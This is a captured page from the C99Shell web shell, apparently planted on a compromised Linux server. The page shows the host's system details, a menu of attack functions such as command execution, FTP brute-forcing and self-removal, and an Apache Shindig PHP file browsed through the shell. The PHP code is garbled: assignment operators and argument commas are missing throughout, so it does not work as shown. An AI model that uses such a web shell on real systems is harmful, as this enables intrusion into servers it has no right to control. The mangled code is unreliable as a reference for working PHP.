!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/shindig/src/gadgets/render/   drwxr-xr-x
Free 13.86 GB of 61.93 GB (22.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     GadgetHrefRenderer.php (7.13 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Licensed to the Apache Software Foundation (ASF) under one
 * or more contributor license agreements.  See the NOTICE file
 * distributed with this work for additional information
 * regarding copyright ownership.  The ASF licenses this file
 * to you under the Apache License, Version 2.0 (the
 * "License"); you may not use this file except in compliance
 * with the License.  You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing,
 * software distributed under the License is distributed on an
 * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
 * KIND, either express or implied.  See the License for the
 * specific language governing permissions and limitations
 * under the License.
 */

/*
 * TODO Dynamically evaluate the limited EL subset expressions on the following tags:
 * Any attribute on os:DataRequest other than @key and @method
 * @userId
 * @groupId
 * @fields
 * @startIndex
 * @count
 * @sortBy
 * @sortOrder
 * @filterBy
 * @filterOp
 * @filterValue
 * @activityIds
 * @href
 * @params
 * Example:
 * <os:PeopleRequest key="PagedFriends" userId="@owner" groupId="@friends" startIndex="${ViewParams.first}" count="20"/>
 * <os:HttpRequest href="http://developersite.com/api?ids=${PagedFriends.ids}"/>
 */

require_once 'GadgetBaseRenderer.php';

class 
GadgetHrefRenderer extends GadgetBaseRenderer {

  
/**
   * Renders a 'proxied content' view, for reference see:
   * http://opensocial-resources.googlecode.com/svn/spec/draft/OpenSocial-Data-Pipelining.xml
   *
   * @param Gadget $gadget
   * @param array $view
   */
  
public function renderGadget(Gadget $gadget$view) {
    
$this->setGadget($gadget);
    if (
Config::get('P3P') != '') {
      
header("P3P: " Config::get('P3P'));
    }
    
/* TODO
     * We should really re-add OAuth fetching support some day, uses these view atributes:
     * $view['oauthServiceName'], $view['oauthTokenName'], $view['oauthRequestToken'], $view['oauthRequestTokenSecret'];
    */
    
$authz $this->getAuthz($view);
    
$refreshInterval $this->getRefreshInterval($view);
    
$href $this->buildHref($view$authz);
    if (
count($view['dataPipelining'])) {
      
$request = new RemoteContentRequest($href"Content-type: application/json\n");
      
$request->setMethod('POST');
      
$request->getOptions()->ignoreCache $gadget->gadgetContext->getIgnoreCache();
    } else {
      
// no data-pipelining set, use GET and set cache/refresh interval options
      
$request = new RemoteContentRequest($href);
      
$request->setMethod('GET');
      
$request->setRefreshInterval($refreshInterval);
      
$request->getOptions()->ignoreCache $gadget->gadgetContext->getIgnoreCache();
    }
    
$signingFetcherFactory $gadgetSigner false;
    if (
$authz != 'none') {
      
$gadgetSigner Config::get('security_token_signer');
      
$gadgetSigner = new $gadgetSigner();
      
$token $gadget->gadgetContext->extractAndValidateToken($gadgetSigner);
      
$request->setToken($token);
      
$request->setAuthType($authz);
      
$request->getOptions()->ownerSigned $this->getSignOwner($view);
      
$request->getOptions()->viewerSigned $this->getSignViewer($view);
      
$signingFetcherFactory = new SigningFetcherFactory(Config::get("private_key_file"));
    }
    
$remoteFetcherClass Config::get('remote_content_fetcher');
    
$remoteFetcher = new $remoteFetcherClass();
    
$basicRemoteContent = new BasicRemoteContent($remoteFetcher$signingFetcherFactory$gadgetSigner);
    
// Cache POST's as if they were GET's, since we don't want to re-fetch and repost the social data for each view
    
$basicRemoteContent->setCachePostRequest(true);
    if ((
$response $basicRemoteContent->getCachedRequest($request)) == false) {
      
// Don't fetch the data-pipelining social data unless we don't have a cached version of the gadget's content
      
$dataPipeliningResults DataPipelining::fetch($view['dataPipelining'], $this->context);
      
// spec stats that the proxied content data-pipelinging data is *not* available to templates (to avoid duplicate posting
      // of the data to the gadget dev's server and once to js space), so we don't assign it to the data context, and just
      // post the json encoded results to the remote url.
      
$request->setPostBody(json_encode($dataPipeliningResults));
      
$response $basicRemoteContent->fetch($request);
    }
    if (
$response->getHttpCode() != '200') {
      
// an error occured fetching the proxied content's gadget content
      
$content '<html><body><h1>An error occured fetching the gadget content</h1><p>http error code: '.$response->getHttpCode().'</p><p>'.$response->getResponseContent().'</body></html>';
    } else {
      
// fetched ok, build the response document and output it
      
$content $response->getResponseContent();
      
$content $this->parseTemplates($content);
      
$content $this->rewriteContent($content);
      
$content $this->addTemplates($content);
    }
    echo 
$content;
  }

  
/**
   * Builds the outgoing URL by taking the href attribute of the view and appending
   * the country, lang, and opensocial query params to it
   *
   * @param array $view
   * @param SecurityToken $token
   * @return string the url
   */
  
private function buildHref($view$authz) {
    
$href $view['href'];
    if (empty(
$href)) {
      throw new 
Exception("Invalid empty href in the gadget view");
    } 
// add the required country and lang param to the URL
    
$lang = isset($_GET['lang']) ? $_GET['lang'] : 'en';
    
$country = isset($_GET['country']) ? $_GET['country'] : 'US';
    
$firstSeperator strpos($href'?') === false '?' '&';
    
$href .= $firstSeperator 'lang=' urlencode($lang);
    
$href .= '&country=' urlencode($country);
    if (
$authz != 'none') {
      
$href .= '&opensocial_proxied_content=1';
    }
    return 
$href;
  }

  
/**
   * Returns the requested refreshInterval (cache time) of the view, or if none is specified
   * it will return the configured default_refresh_interval value
   *
   * @param array $view
   * @return int refresh interval
   */
  
private function getRefreshInterval($view) {
    return ! empty(
$view['refreshInterval']) && is_numeric($view['refreshInterval']) ? $view['refreshInterval'] : Config::get('default_refresh_interval');
  }

  
/**
   * Returns the authz attribute of the view, can be 'none', 'signed' or 'oauth'
   *
   * @param array $view
   * @return string authz attribute
   */
  
private function getAuthz($view) {
    return ! empty(
$view['authz']) ? strtolower($view['authz']) : 'none';
  }


  
/**
   * Returns the signOwner attribute of the view (true or false, default is true)
   *
   * @param array $view
   * @return string signOwner attribute
   */
  
private function getSignOwner($view) {
    return ! empty(
$view['signOwner']) && strcasecmp($view['signOwner'], 'false') == false true;
  }

  
/**
   * Returns the signViewer attribute of the view (true or false, default is true)
   *
   * @param array $view
   * @return string signViewer attribute
   */
  
private function getSignViewer($view) {
    return ! empty(
$view['signViewer']) && strcasecmp($view['signViewer'], 'false') == false true;
  }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4802 ]--